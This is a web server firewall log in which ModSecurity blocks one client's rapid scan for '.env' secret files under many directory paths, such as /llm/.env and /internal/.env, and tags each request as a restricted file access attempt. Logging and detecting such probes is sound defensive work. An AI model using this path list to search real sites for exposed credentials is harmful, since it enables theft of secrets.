[Mon Oct 26 10:03:27.096711 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at9drwt8dJFpdHay4jzKhQAAAAA"]
[Mon Oct 26 10:03:27.096966 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at9drwt8dJFpdHay4jzKhQAAAAA"]
[Mon Oct 26 10:03:27.194422 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5cgAAACU"]
[Mon Oct 26 10:03:27.194692 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5cgAAACU"]
[Mon Oct 26 10:03:27.195009 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5cgAAACU"]
[Mon Oct 26 10:03:27.245080 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5cwAAACU"]
[Mon Oct 26 10:03:27.245315 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5cwAAACU"]
[Mon Oct 26 10:03:27.245547 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5cwAAACU"]
[Mon Oct 26 10:03:27.372592 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at9dr7nmpHTSsAiKbb2byAAAAAc"]
[Mon Oct 26 10:03:27.372921 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at9dr7nmpHTSsAiKbb2byAAAAAc"]
[Mon Oct 26 10:03:27.373307 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at9dr7nmpHTSsAiKbb2byAAAAAc"]
[Mon Oct 26 10:03:27.398126 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at9dr7nmpHTSsAiKbb2byQAAAAc"]
[Mon Oct 26 10:03:27.398284 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at9dr7nmpHTSsAiKbb2byQAAAAc"]
[Mon Oct 26 10:03:27.398554 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at9dr7nmpHTSsAiKbb2byQAAAAc"]
[Mon Oct 26 10:03:27.402025 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at9dr09qPMNS87qzj5gkNAAAABE"]
[Mon Oct 26 10:03:27.402810 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at9dr09qPMNS87qzj5gkNAAAABE"]
[Mon Oct 26 10:03:27.403238 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at9dr09qPMNS87qzj5gkNAAAABE"]
[Mon Oct 26 10:03:27.404275 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at9dr8fzpoBm8xCXttklRAAAABA"]
[Mon Oct 26 10:03:27.404471 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at9dr8fzpoBm8xCXttklRAAAABA"]
[Mon Oct 26 10:03:27.404852 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at9dr8fzpoBm8xCXttklRAAAABA"]
[Mon Oct 26 10:03:27.404910 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5dAAAACU"]
[Mon Oct 26 10:03:27.405047 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5dAAAACU"]
[Mon Oct 26 10:03:27.405279 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5dAAAACU"]
[Mon Oct 26 10:03:27.407459 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at9dr7GXTlA520hhAgG7-gAAAA8"]
[Mon Oct 26 10:03:27.407643 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at9dr7GXTlA520hhAgG7-gAAAA8"]
[Mon Oct 26 10:03:27.407918 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at9dr7GXTlA520hhAgG7-gAAAA8"]
[Mon Oct 26 10:03:27.408222 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at9drwt8dJFpdHay4jzKhgAAAAA"]
[Mon Oct 26 10:03:27.408405 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at9drwt8dJFpdHay4jzKhgAAAAA"]
[Mon Oct 26 10:03:27.408639 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at9drwt8dJFpdHay4jzKhgAAAAA"]
[Mon Oct 26 10:03:27.409230 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmHgAAAA4"]
[Mon Oct 26 10:03:27.409404 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmHgAAAA4"]
[Mon Oct 26 10:03:27.409688 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmHgAAAA4"]
[Mon Oct 26 10:03:27.410703 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at9dryDi6FEnz4zo40NhdgAAAAk"]
[Mon Oct 26 10:03:27.410918 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at9dryDi6FEnz4zo40NhdgAAAAk"]
[Mon Oct 26 10:03:27.411164 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at9dryDi6FEnz4zo40NhdgAAAAk"]
[Mon Oct 26 10:03:27.415696 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKAwAAAAs"]
[Mon Oct 26 10:03:27.415915 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKAwAAAAs"]
[Mon Oct 26 10:03:27.416168 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKAwAAAAs"]
[Mon Oct 26 10:03:27.421198 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at9dr7GXTlA520hhAgG7-wAAAA8"]
